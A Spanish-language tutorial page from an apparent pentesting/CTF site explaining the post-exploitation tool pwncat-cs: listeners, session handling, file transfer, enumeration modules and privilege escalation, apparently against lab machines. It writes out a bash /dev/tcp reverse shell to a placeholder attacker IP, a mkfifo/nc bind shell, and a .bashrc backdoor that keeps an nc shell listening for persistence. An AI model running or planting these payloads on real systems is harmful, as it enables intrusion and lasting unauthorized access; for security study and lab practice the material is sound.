NovaHacking
  • Whoami
  • Artículos
    • Panamá Papers
    • Tratamiento para la TTY
    • Introducción a la Ciberseguridad
    • Introducción al Buffer Overflow
    • Introducción al Pivoting
    • IDS - IPS (Suricata)
    • Colisión de Hash
    • RSA Cracker
  • Herramientas
    • Explotación
      • Hydra
      • pwncat-cs
    • Reconocimiento
      • Nmap
      • Arp scan
  • CTF
    • Dockerlabs
      • Amor
      • BreakMySSH
      • DockHackLab
      • FirstHacking
      • sjd
      • WhereIsMyWebShell
      • Dark
      • Queuemedic
      • Buffered
      • Pn
      • Canario
      • Domain
      • HereBash
  • Linux
    • 🐧Inicio Linux
Powered by GitBook
On this page
  • Características principales de pwncat-cs:
  • Comandos Más Usados
  • 1. listen
  • 2. connect
  • 3. upload
  • 4. download
  • 5. local
  • 6. search
  • 7. escalate
  • Persistencia
  1. Herramientas
  2. Explotación

pwncat-cs

TAG -> herramientas | explotación

PreviousHydraNextReconocimiento

Last updated 4 months ago

pwncat-cs es una herramienta avanzada de post-explotación y manejo de sesiones que permite la creación y manipulación de shells en conexiones remotas. Es una utilidad potente para quienes realizan auditorias de seguridad y pruebas de penetración, pues facilita la ejecución de comandos, subida y descarga de archivos, y escalación de privilegios. También tiene características de persistencia en conexiones, lo cual lo convierte en una herramienta versátil en el análisis de seguridad.

La forma básica de usar pwncat-cs es escribiendo solo su nombre en la terminal, pero también podríamos ponernos en escucha de una vez de la siguiente manera, la ejecución de pwncat-cs :1234 indica que pwncat-cs se está utilizando en modo servidor en el puerto 1234. En este caso, se está configurando para recibir una conexión en una dirección IP en el puerto especificado.

Para salir de una sessions o back lo recomendable es hacer Ctrl + d para que no se muera dicha sessions.

Ctrl + d

pwncat-cs esta escrito en Python, para descargarlo debemos usar un entorno env de Python y pip.

pip install pwncat-cs

Adicional ->

Características principales de pwncat-cs:

  1. Interfaz interactiva: Proporciona una interfaz CLI (Command Line Interface) interactiva que facilita el control de las sesiones remotas y la ejecución de comandos.

  2. Escalación de privilegios: Integra un módulo para intentar escalar privilegios automáticamente en la sesión actual (escalate).

  3. Manejo de sesiones: Soporte para gestionar múltiples sesiones a través de comandos como sessions y listeners.

  4. Módulos integrados: Permite cargar y ejecutar módulos personalizados para realizar tareas específicas. Los módulos pueden ser usados para enumerar información, explotar vulnerabilidades, o realizar tareas de limpieza.

  5. Persistencia: Puedes configurar mecanismos de persistencia en sistemas comprometidos para mantener el acceso después de la explotación inicial.

  6. Transferencia de archivos: Comandos como upload y download permiten transferir archivos entre el host local y el remoto de forma sencilla.

  7. Aliases personalizados: Ofrece la posibilidad de crear aliases para comandos, facilitando la automatización y personalización de flujos de trabajo.


Lo primero que are es activar el entorno virtual de Python y ejecutar pwncat-cs sin argumentos, esto nos dará una linea de comandos del mismo pwncat-cs, el cual ejecutaremos el comando help, el cual nos mostrara el panel de ayuda.

Podemos apreciar una lista de comandos útiles, veamos algunos de ellos.

Comandos Más Usados

1. listen

  • Abre un listener en el puerto especificado para que la víctima pueda conectarse.

  • Ejemplo:

listen --platform linux 1234

Inicia un listener en el puerto 1234 de la máquina atacante, para conexiones con victimas Linux en este caso, también puede usar -h para ver mas opciones.

Cuando se abre múltiples listeners generalmente es para entornos de Pivoting ya que si solo es para conectarnos una Reverse Shells se suele usar el siguiente comando

pwncat-cs :1234

El cual ya se pone en escucha en el puerto 1234 configurado para plataformas Linux.

1.1 listeners

Podemos ver la lista de listeners usando esta palabra como comando, abriremos el puerto 123 también como ejemplo.

listeners

Para tener una victima debemos inyectar un comando como el siguiente.

/bin/bash -i >& /dev/tcp/<IP_Atacante>/<Puerto_en_escucha> 0>&1

Ahora en la terminal de pwncat-cs veremos lo siguiente.

Vemos que en la parte inferior nos muestra la Session activa, con la IP victima y el puerto de la victima.

En la parte superior nos mostrara la misma información, más el listener que se uso y hora en que se entablo la conexión.

Ahora aremos lo mismo con el otro listener en el puerto 1234.

1.2 sessions

Si quisiéramos ver más información de las 2 victimas, podemos usar el siguiente comando:

sessions

o

sessions --list

Como podemos ver, nos muestra el ID asociado al listener, el usuario victima que se le inyecto el comando, el Host ID, la plataforma victima en este caso Linux, el tipo de conexión e información de la IP y puerto victima, el * en la columna ID nos indica en que session estamos, para cambiar de session, vasta con usar el mismo comando y el numero de session al que queremos migrar.

sessions 0

En este caso pasamos de la session 1 a la 0.

  • También podemos matar una session usando el parámetro --kill y el número de session.

sessions --kill 0

El listener mantendrá activo el puerto, para recibir futuras Reverse Shells, solo cambiara el ID de la sesion.

Soporta plataformas Windows

Ejemplo: En la siguiente imagen tenemos todos los tipos de sessiones que podemos encontrar en pwncat-cs.

1.3 back

Ahora bien, si queremos interactuar con la maquina victima, mediante la Reverse Shells, podemos usar el siguiente comando:

back

En la línea de comando el mismo pwncat-cs nos dice al principio en paréntesis si estamos en local o remote, luego de ejecutar back vemos como se nos abre una bash podemos ejecutar comandos como whoami, pwd, id, etc, al ser una Reverse Shells usando bash también, se nos exportara sus alias, aunque hay veces que por ejemplo el Ctrl + l no funciona, lo recomendable que después de usa back le agreguemos la variable xterm a la bash.

export TERM=xterm

De este modo ya podremos hacer Ctrl + l y Ctrl + c e interactuar de mejor manera con la terminal, para salir de esta shell sin perderla, usamos la combinación de teclas Ctrl + d.

Hay que tener en cuenta que no podemos usar Ctrl + d mientras algo se esta ejecutando.

Ejemplo: Tenemos un sleep de 30 segundos, al presionar Ctrl + d no pasara nada hasta terminar ese proceso, cuando termine ese proceso, entonces nos mandara a la línea de comandos de pwncat-cs, si queremos dejar algo corriendo y salir, debemos aprovecharnos de las tareas en segundo plano usando & al final del comando, de esta manera podemos dejar herramientas como Chisel o socat que son herramientas esenciales a la hora de hacer Pivoting.

2. connect

  • connect permite conectar con una víctima específica si no se usa listen.

  • Ejemplo: Podemos conectarnos vía ssh, Bind Shells o Forward Shells siempre y cuando sepamos la contraseña del usuario victima en caso de ssh o tengamos alguna llave privada, la sintaxis es la siguiente.

[[protocol://][user[:password]@][host][:port]]
connect ssh://victor:123456*@172.17.0.4:22
  • connect -> Comando de conexión.

  • ssh: -> Protocolo que se va a usar.

  • //victor -> Nombre del usuario victima.

  • :123456* -> Contraseña del usuario victima.

  • @172.17.0.4 -> IP del servidor victima.

  • :22 -> Puerto del servicio al cual nos vamos a conectar.

Aunque no es estrictamente necesario seguir ese patrón, ya que podemos omitir algunas cosas, ejemplo: Por default el protocolo es ssh, veamos algunos ejemplos:

Podemos comprobar la conexión usando el comando:

sessions

Como podemos apreciar en el tipo de conexión muestra que es de tipo ssh.

Hagamos otro ejemplo esta ves de tipo Bind Shells, el comando que debemos inyectar en la maquina victima es el siguiente:

mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp 443 > /tmp/f

Ahora en la terminal de pwncat-cs ejecutamos lo siguiente:

connect 172.17.0.1:443

Vemos que se nos registra la nueva session, y en la terminal de la victima se vería así:

Podemos usar el comando sessions y veremos el tipo de conexión (connect) osea Forward Shells.

3. upload

  • Sube un archivo desde la máquina local a la máquina de la víctima.

  • Ejemplo:

upload /ruta/del/archivo/local/archivo.txt /destino/en/la/victima/archivo.txt

Supongamos que tenemos este archivo:

Este archivo lo tenemos en nuestra maquina local, vamos a hacer una Reverse Shells y subamos este archivo.

  • Reverse Shells

  • Subida de archivo

Con esto podemos subir una gran cantidad de archivos, en casa de problemas lo recomendable es comprimir lo que queramos subir al servidor, ademas hay que tener en cuenta que debemos poner en la ruta de destino el nombre del archivo que estamos subiendo -> /destino/en/la/victima/archivo.txt.

4. download

  • Permite descargar archivos desde la máquina de la víctima a la máquina local.

  • Ejemplo:

download /ruta/del/archivo/remoto.txt
  • Esto descarga el archivo especificado en la carpeta de trabajo actual de la máquina atacante, vamos a crear un archivo en el servidor.

  • Descarga del archivo

Esta shell de pwncat-cs es capas de auto completar las palabras o nombre de archivos que estén en el servidor o en local.

5. local

  • Ejecuta comandos en la máquina local sin afectar la sesión remota.

  • Ejemplo:

local ls
  • Esto listará archivos en el directorio actual de la máquina atacante sin interactuar con la máquina víctima.

Ahora bien, si usamos comandos como cd no funcionara, veamos que pasa:

5.1 lcd

Si queremos movernos entre directorios, el comando que debemos usar es lcd .

lcd /directorio/de/destino

Tampoco afecta en nada a las sessiones que tengamos, estos comandos son útiles por ejemplo, cuando queremos subir algún archivo y no esta en el directorio donde estamos, nos podemos mover a ese directorio con este comando.

5.2 lpwd

Es un comando que simplemente nos muestra donde estamos, es como la abreviación de hacer local pwd.

lpwd

6. search

pwncat-cs tiene varios módulos muy útiles para Escalada de privilegios (post-explotación), este comando nos permite ver la descripción sobre un grupo o un modulo en especifico.

La sintaxis básica es search modulo, veamos un ejemplo, el grupo más grande de módulos en pwncat-cs es de enumeración:

search enumerate
search implant

Por ultimo tenemos estos 2 módulos:

Podemos leer cada descripción de estos módulos y usarlos adecuadamente para una Escalada de privilegios exitosa.

Pero que pasa si no nos queda claro como usar un módulo, o si un módulo necesita argumentos específicos, para eso tenemos el siguiente comando.

6.1 info

Si tenemos dudas sobre un módulo, podemos usar el comando info que nos da un mejor panorama del modulo y nos brinda información sobre el modulo o argumentos que necesite, aunque la gran mayoría están configurados correctamente por default.

  • Ejemplo

info report
info enumerate.file.suid
info implant.pam

Y así podemos hacer con cualquier módulo para obtener la mayor información posible antes de usarlo.

6.2 set

Permite configurar variables de tiempo de ejecución en pwncat-cs. Por ejemplo, podríamos definir el password de un usuario o también podemos ver las variables globales.

  • Lista de variables que podemos usar:

set value
(choose from 'state', 'lhost', 'prefix', 'privkey', 'backdoor_user', 'backdoor_pass', 'on_load', 'db', 'cross', 'psmodules', 'verbose', 'plugin_path', 'root', 'daemon', 'bin', 'sys', 'sync', 'games', 'man', 'lp', 'mail', 'news', 'uucp', 'proxy', 'www-data', 'backup', 'list', 'irc', '_apt', 'nobody', 'messagebus', 'victor')
  • Variables globales

set --global

Tampoco necesita muchas configuraciones adicionales.

6.3 run

  • Ejecuta un modulo especifico o que este en uso.

  • Ejemplo: tenemos 2 sesiones de Reverse Shells, busquemos binarios SUID en una de esas sesiones.

run enumerate.file.suid

Podemos usar Tab para auto completar o sugerir un modulo.

  • Resultado

De este modo podemos enumerar cómodamente el targeted, otros ejemplos:

6.4 use

  • Podemos tener un modulo definido e ir cambiando de sessiones y solo presionar run para ejecutar dicho modulo.

use enumerate.system.network

Como podemos ver, ahora donde decía local dice el nombre del modulo que queremos usar.

Ahora con solo cambiar de session podemos ejecutar el mismo modulo usando el comando run.

  • Otros ejemplos:

7. escalate

  • Intenta obtener privilegios elevados (root o administrador) en el sistema remoto.

  • Recomendable ejecutar run enumerate antes del comando escalate.

  • Ejemplo:

escalate [-h] [--user USERNAME] [--recursive] COMMAND
  • pwncat escaneará métodos de escalación disponibles y aplicará uno, si es posible.

escalate --user root -r run
  1. Primero listamos si hay posibles vulnerabilidades a explotar (list).

  2. Verificamos el usuario de la session, que es victor.

  3. Nos aprovechamos del binario xdd que es SUID.

  4. Volvemos a verificar el usuario de la session ahora es root.

Con el comando leave podemos retornar al usuario victor, osea el usuario con que empezamos la Reverse Shells.

  • Si ejecutamos antes run enumerate veamos como cambia la lista de opciones de escalación de privilegios.

7.1 Ejemplo de enumerate

Veamos la salida y la basta información que nos brinda el modulo enumerate

run enumerate

El modulo report también nos brinda información útil, aunque es más directo e intenta poner información más especifica.


Persistencia

La persistencia en una sesión de pwncat-cs puede lograrse configurando una Reverse Shells persistente que se reinicie automáticamente o creando tareas que se ejecuten al iniciar el sistema remoto. Aquí está uno de varios métodos comunes para lograr persistencia:

En la .bashrc del usuario debemos agregar lo siguiente:

if [ "$(tty)" != "/dev/tty1" ]; then
    while true; do
        if ! ss -tuln | grep -q ":12345 " && ! pgrep -f "nc -nlvp 12345"; then
            nc -nlvp 12345 -e /bin/bash >/dev/null 2>&1 &
        fi
        sleep 30
    done >/dev/null 2>&1 &
    disown
fi

Luego, para activar el Backdoor actualizamos el .bashrc con el siguiente comando:

source ~/.bashrc

Luego de seguir estos pasos, se creara una tarea en el sistema víctima donde nc se pondrá en escucha por el puerto 12345 y cada 30 segundos verificara si este proceso está activo, en caso de no estarlo creará el proceso de nuevo, para conectarnos solo basta con usar el comando connect de pwncat-cs junto con la IP víctima y el puerto 12345.

https://docs.python.org/es/3/tutorial/venv.html